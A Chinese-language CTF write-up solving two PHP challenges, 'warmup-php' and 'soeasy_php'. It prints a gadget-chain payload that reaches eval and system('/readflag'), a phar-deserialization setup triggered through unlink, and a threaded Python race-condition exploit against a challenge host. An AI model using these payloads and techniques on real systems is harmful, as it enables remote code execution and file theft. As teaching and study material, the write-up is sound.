warmup-php
这道题本身不难就是一个小的代码审计
进去之后有一个代码
<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
public function __construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}
new Action($action,$properties);
?>
这代码很简单
传入两个变量第一个变量action是实例化一个对象
properties是提供键值对
这样我们就思路清晰了
我们可以控制实例化对象,也可以控制属性的值
这样我们找到可执行函数就好了
给了一个zip文件,解压下来是源码
我们看一下
首先调用了run方法
我们看一下哪里有run方法
这个run方法可以调用下面的renderContent()方法
我们跟进一下
看一下官方文档对这个函数的解释
这个多了一个正则匹配
匹配{ }里面的内容
所以我们要想完成替换就要在这个字符串加上{ }就会调用renderSection(),参数是template
我们跟进一下renderSection()方法
这里面会调用我们传入的参数这个方法
做到这里可能没有什么头绪
我们全局看一下有没有什么可执行函数
在Base.php我们找到了这份eval
我们看一下这个evaluateExpression()怎么触发
在这里有两个php文件都用了这个方法
我们先看一下Filter.php
这个Filter继承了Base不太好处理
我们看一下
TestView.php
这个函数继承了ListView
正好可以触发run()方法
我们重点利用这个类
在这个方法里面可以调用这个evaluateExpression
我们向上推一下
在这个renderTableBody()里面可以调用renderTableRow()
那我们就想办法调用renderTableBody()
至此我们就完成了闭环
我们可以通过上面的template来调用renderTableBody()
整个链子就是
run() -> renderContent() -> renderSection($matches) -> renderTableBody() -> renderTableRow($row) -> evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data))
注意:
在做这道题的时候我在想为什么不能直接调用renderTableRow(),这样不就可以直接命令执行了吗
当然不行
这个没有参数,那个函数是有参数的
payload
GET
?action=TestView
POST
properties[template]={TableBody}&properties[rowHtmlOptionsExpression]=system('/readflag');&properties[data]=12
总结
在代码审计的时候多注意继承关系,这个确实没有想到
soeasy_php
这个题确定折腾了半天,看了wp才知道要条件竞争。
一直不知道为什么要条件竞争,发生写入文件,和删除文件的时候,这时候就要考虑一下条件竞争了
这道题的考点其实挺明显的有文件上传,有删除文件的操作
这个任意文件上传但是会给你解析成.png格式的
我们查看源码发现了一些东西
这个暴露出来的东西也挺多的,首先就是当前头像的路径,其次就是upload.php这个应该就是处理上传文件的路径
接下来有一个edit.php,下面写的更换头像,但是在没有在页面上显示出来,看了才知道是被隐藏了,也就是说我们
可以通过edit.php来更换头像,通过png这个参数访问到/uploads这个文件夹,然后替换hend.png,经过测试这里可
以发生任意文件读取。
访问/uploads/head.png
通过任意文件读取我们读取到源码
upload.php
<?php
if (!isset($_FILES['file'])) {
die("请上传头像");
}
$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
echo "上传成功: ".$path;
};
edit.php
<?php
ini_set("error_reporting","0");
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}
}
function filewrite($file,$data){
unlink($file);
file_put_contents($file, $data);
}
if(isset($_POST['png'])){
$filename = $_POST['png'];
if(!preg_match("/:|phar|\/\/|php/im",$filename)){
$f = fopen($filename,"r");
$contents = fread($f, filesize($filename));
if(strpos($contents,"flag{") !== false){
filewrite($filename,"Don't give me flag!!!");
}
}
if(isset($_POST['flag'])) {
$flag = (string)$_POST['flag'];
if ($flag == "Give me flag") {
filewrite("/tmp/flag.txt", "Don't give me flag");
sleep(2);
die("no no no !");
} else {
filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。
}
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
echo "成功更换头像";
} else {
unlink($filename);
echo "非正常文件,已被删除";
};
}
}
先看upload.php
这个就是把文件都变成以png结尾的
重点看一下edit.php
这个copyflag就是把flag复制到/tmp/flag.txt
思路不来了,我们可以触发这个反序列化,然后任意文件读取,读取这个人人都可以读取的/tmp目录
但是看下面的
首先过滤了phar文件名字,再次检查文件内容如果出现flag{ 则执行filewrite()
我们看一下这个函数是干啥的
就是删除这个文件内容,然后把Don't give me flag!!! 填进去
这样我们就没有办法获得flag了
接着往下看
下面就是如果flag等于Give me flag 那就直接退出程序,不等于的话,就把传入的flag写进去,接着将传入的这个文件名字与head.png创立一个软链接成为新头像,我们可以通过访问head.png来访问到上传的文件
我们要打竞争从删除文件与写入文件访问文件这之间打
在删除文件的时候进行写入的同时访问文件
来竞争程序还来不及删除新文件的时间访问文件
对于这道题我们生成一个.phar文件,然后在读取的时候我们用phar伪协议读取,这时候phar伪协议还没有触发
这里补充一下phar伪协议触发函数
fileatime()
file_put_contents()
fileinode()
is_dir()
is readable()
copy()
filectime()
file()
filemtime()
is executable()
is_writable()
unlink()
file exists()
filegroup()
fileowner()
is _file()
is_writeable()
stat()
file get contents()
fopen()
fileperms()
is_link()
parse ini file()
readfile()
发现unlink正好可以触发phar伪协议
在第一次利用phar伪协议的时候我们代码可以运行到这里
那时候phar伪协议没有触发这个时候我们就要绕过这个symlink,我们可以通过""让第二个参数为空从而绕过
然后不断的删除然后再次通过这个unlink进行生成
不断的访问tmp/flag.txt
我们不断地访问这个/uploads/head.php
完成竞争
还就是phar文件的生成
<?php
class flag{
}
$a = new flag();
echo serialize($a);
$phar = new Phar("das.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","testaaa");
$phar -> stopBuffering();
?>
payload
import requests
import threading
import time
url = "http://a63a73ca-965e-41dd-856b-9848ff38f135.node5.buuoj.cn:81"
png = "/uploads/head.png"
flag = "../../../../../../tmp/flag.txt"
phar = """phar://uploads/1bb92ea10c5d93a6a8cecbb98eb48598.png"""
def getpng():
res = requests.get(url+png)
print(res.text)
def linkflag():
data = {
"flag":"1",
"png":flag
}
res = requests.post(url=url+"/edit.php",data=data)
print(res.text)
def putphar():
data = {
"flag":"1",
"png":phar
}
res = requests.post(url=url+"/edit.php",data=data)
print(res.text)
while True:
for i in range(10):
t3 = threading.Thread(target=putphar)
t3.start()
t2 = threading.Thread(target=linkflag)
t2.start()
t1 = threading.Thread(target=getpng)
t1.start()
time.sleep(5)
总结
文件上传的题确实做的很少,条件竞争这次也算弄的更清楚一些
对于phar伪协议,也学到了它的触发函数,这个以前在学习的时候没有多注意